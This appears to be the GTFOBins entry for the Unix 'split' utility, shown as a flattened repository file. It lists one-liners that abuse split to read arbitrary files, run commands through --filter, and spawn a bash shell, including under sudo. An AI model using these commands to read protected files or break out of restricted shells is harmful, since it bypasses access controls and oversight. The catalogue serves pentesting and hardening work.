GTFOBins.github.io/_gtfobins/split.md
2020-11-13 12:46:01 +01:00

593 B

functions
file-read command shell sudo
code
LFILE=file_to_read TF=$(mktemp) split $LFILE $TF cat $TF*
description code
Command execution using an existing or new created file. COMMAND=id TF=$(mktemp) split --filter=$COMMAND $TF
description code
Command execution using stdin (and close it directly). COMMAND=id echo | split --filter=$COMMAND /dev/stdin
code
split --filter=bash /dev/stdin
code
split --filter=bash /dev/stdin